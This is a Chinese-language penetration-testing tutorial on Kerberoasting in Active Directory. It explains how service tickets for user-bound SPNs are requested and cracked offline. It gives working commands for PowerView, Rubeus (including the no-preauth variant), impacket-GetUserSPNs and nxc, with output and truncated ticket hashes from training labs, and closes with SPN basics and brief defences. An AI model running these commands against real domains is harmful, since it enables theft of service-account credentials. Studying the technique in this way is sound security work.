Kerberoasting
1. 介绍
Kerberoasting 是一种针对服务账户的攻击,允许攻击者对与该服务关联的 Active Directory 账户执行离线密码破解攻击。它类似于 ASREPRoasting,但需要先对域进行身份验证。因为他攻击的TGS_REP这一块,获取由服务账号的密钥(hash)加密的会话密钥进行离线crack
当服务被注册时,一个服务主体名称(SPN)会被添加到AD中,它是实际 AD 账户的别名。AD中存储的信息包括机器名、端口以及 AD 账户的密码哈希。在正确的配置中,“服务账户”会与这些 SPN 一起使用,以确保密码强度。这些账户类似于机器账户,甚至可以拥有 self-rotating密码。(比如gMSA账户)
因为服务账号并非所有供应商都支持,且服务账号在每隔30天尝试轮换密码时可能会破坏一些东西,所以将SPN绑定到用户账号是很常见的行为。
如果我们发现一个 SPN 绑定到了用户账户,那么我们可以像其发起TGS_REQ请求,并获取到TGS_REP返回的由服务账户密钥加密的会话密钥。然后可以进行离线破解
1.1. 原理
下图为TGS-REP的流程
这条消息使用用户与 KDC 之间共享的会话密钥进行了完全加密,因此用户可以解密它。
而嵌入的 TGS 票据或服务票据(ST)是使用服务账号密钥加密的。用户只能获取到加密的服务账号密钥
大多数服务都是由计算机账户(
COMPUTERNAME$)运行的,这些账户默认拥有 120 个字符长度的随机生成密码,基本不可能被暴力破解出来
但有时服务是由用户账号运行的。因为用户账户的密码通常为人工设置,更容易被破解。这些账户就是 Kerberoasting 攻击的目标。
当 SPN 账户被配置为使用 RC4 加密算法时,其票据在离线破解时会容易得多。一些安全意识比较高的企业会使用AES作为SPN账号的加密算法,这种破解难度会大幅提高。
这里的TGS票证就是ST(服务票据的)一种
它们在本质上都是用户访问服务时所需要的凭证。TGS 是向 KDC 请求 ST 的手段
2. 利用
2.1. 条件
- SPN绑定在域用户帐户下,而不是绑定在计算机账户上(因为计算机账户的密码通常难以破解)
- 具有一个域用户凭据 (如果没有,可以尝试看是否有开启
pre-authencation的用户,执行2.4. 无预身份认证的Kerberoasting)
2.2. On Windows
2.2.1. powerview
使用powerview枚举SPN
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser -SPN
#也可以使用 PowerView 直接执行 Kerberoasting 攻击。
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation
PS C:\Tools> cat .\tgs.csv
#还可以使用 Invoke-Kerberoast 函数来快速执行此操作
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Invoke-Kerberoast
2.2.2. Rubeus
使用Rubeus进行keberoast
Rubeus.exe kerberoast /nowrap
/pwdsetafter/pwdsetbefore参数可以对密码在特定日期内设置的账户进行 Kerberoast 攻击/outfile:filename.txt/stats
2.3. On Linux
2.3.1. impacket-GetUserSPNs
┌──(root㉿kali)-[~/Desktop/htb/Scrambled]
└─# impacket-GetUserSPNs scrm.local/ksimpson -k -no-pass -dc-host dc1.scrm.local -request
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------- ------ -------- -------------------------- -------------------------- ----------
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 12:32:02.351452 2025-10-12 09:40:50.336768
MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 12:32:02.351452 2025-10-12 09:40:50.336768
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$eacf9fd7219e625806f070f6ab83034810db151.....
2.3.2. NXC
使用nxc 的 --kerberoasting
┌──(root㉿kali)-[~/Desktop/htb/season8/Mirage]
└─# nxc ldap dc01.mirage.htb -k --use-kcache --kerberoasting output.txt
LDAP dc01.mirage.htb 389 DC01 [*] None (name:DC01) (domain:mirage.htb)
LDAP dc01.mirage.htb 389 DC01 [+] mirage.htb\david.jjackson from ccache
LDAP dc01.mirage.htb 389 DC01 [*] Skipping disabled account: krbtgt
LDAP dc01.mirage.htb 389 DC01 [*] Total of records returned 1
LDAP dc01.mirage.htb 389 DC01 [*] sAMAccountName: nathan.aadam, memberOf: ['CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb', 'CN=IT_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb'], pwdLastSet: 2025-06-23 17:18:18.584667, lastLogon: 2025-07-20 04:11:21.679770
LDAP dc01.mirage.htb 389 DC01 $krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$da91fd2dd29a14860.....
2.4. 无预身份认证的Kerberoasting
这是一种可以在无有效域账户和密码的情况下执行 Kerberoasting 攻击(或以域加入主机的低权限账户身份获取 SYSTEM shell/shell)的方式。当我们知道一个未启用 Kerberos 预认证的账户时,这种情况就可能发生。
我们可以使用此账户,通过 AS-REQ 请求(通常用于请求 TGT)来请求一个可 Kerberoast 用户的 TGS 票据。这是通过修改请求的 req-body 部分来完成的,本文将对此进行详细描述。
条件:
- 一个预认证已禁用的账户的用户名(
DONT_REQ_PREAUTH)。 - 一个目标 SPN 或 SPN 列表。
C:\Tools> Rubeus.exe kerberoast /nopreauth:amber.smith /domain:inlanefreight.local /spn:MSSQLSvc/SQL01:1433 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
[*] Action: Kerberoasting
[*] Using amber.smith without pre-auth to request service tickets
[*] Target SPN : MSSQLSvc/SQL01:1433
[*] Using domain controller: DC01.INLANEFREIGHT.LOCAL (172.16.99.3)
[*] Hash : $krb5tgs$23$*MSSQLSvc/SQL01:1433$inlanefreight.local$MSSQLSvc/SQL01:1433*$7E08E831C13A2EEAEA47C13ECD378E8D$D6E591A4AB495AFEE4BD9E893A39C7B9E77C3D7759D9923<SNIP>
amber.smith是一个有DONT_REQ_PREAUTH标识的用户MSSQLSvc/SQL01:1433SPN
3. SPN介绍:
SPN全称 Service Principal Names
SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
3.1. SPN的格式
serviceclass/host:port/servicename
serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
如果服务运行在默认端口上,则端口号(port)可以省略
3.2. 查询SPN
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测
常用查询命令
#查看当前域内的所有SPN:
setspn.exe -q */*
#查看test域内的所有SPN:
setspn.exe -T test -q */*
首先获取到一个TGS票证,TGS票证中包含了一个加密的会话密钥,加密算法一般是已知的(一般是RC4_HMAC)
而这个加密的会话密钥是用目标服务的密码哈希作为密钥进行加密的,我们利用这个已知的加密算法和ST中加密的会话密钥可以得到目标服务的密码哈希 然后利用 hashcat 爆破出目标服务的明文密码
4. 防御
站在防御的角度,不可能阻止kerberoast,但可以对有攻击价值的SPN(注册在域用户帐户下,权限高),增加密码长度,能够提高破解难度,并且定期修改关联的域用户口令
管理员可在域内一台主机上使用Invoke-Kerberoast检查是否存在危险的SPN
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
参数:
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
